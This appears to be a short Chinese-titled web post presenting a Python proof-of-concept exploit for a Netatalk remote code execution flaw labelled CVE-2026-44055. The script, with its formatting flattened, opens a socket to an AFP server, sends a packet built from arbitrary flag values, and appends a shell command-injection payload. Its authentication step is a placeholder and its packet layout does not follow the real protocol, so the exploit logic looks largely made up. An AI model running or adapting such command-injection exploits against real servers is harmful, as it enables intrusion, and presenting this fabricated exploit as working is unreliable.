CVE-2026-44055 Netatalk 远程代码执行漏洞

import socket import struct # Proof of Concept for CVE-2026-44055 # This script demonstrates the logic error exploitation concept. # Requires valid credentials and target Netatalk version. TARGET = "192.168.1.10" PORT = 548 USER = "test" PASS = "test" def exploit(): print(f"[*] Connecting to {TARGET}:{PORT}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET, PORT)) # 1. AFP Session Setup (Simplified) # Real implementation requires handling AFP protocol handshakes (DSIOpenSession, etc.) print("[*] Attempting authentication...") # ... Authentication logic here ... # 2. Triggering the Bitwise OR Logic Error # The vulnerability allows bypassing checks via specific flags. # We send a command injection payload. payload = b"; id; " # Simple command injection payload # Construct malicious packet exploiting the bitwise OR flaw # Example: Manipulating a flag field where Option A | Option B creates an unintended permission state malicious_packet = struct.pack(">I", 0x02) # Command ID malicious_packet += struct.pack(">I", 0x01 | 0x04) # Exploiting bitwise OR logic error malicious_packet += payload print("[*] Sending malicious payload...") s.send(malicious_packet) # 3. Receive Response response = s.recv(1024) print(f"[+] Response received: {response}") s.close() if __name__ == "__main__": exploit()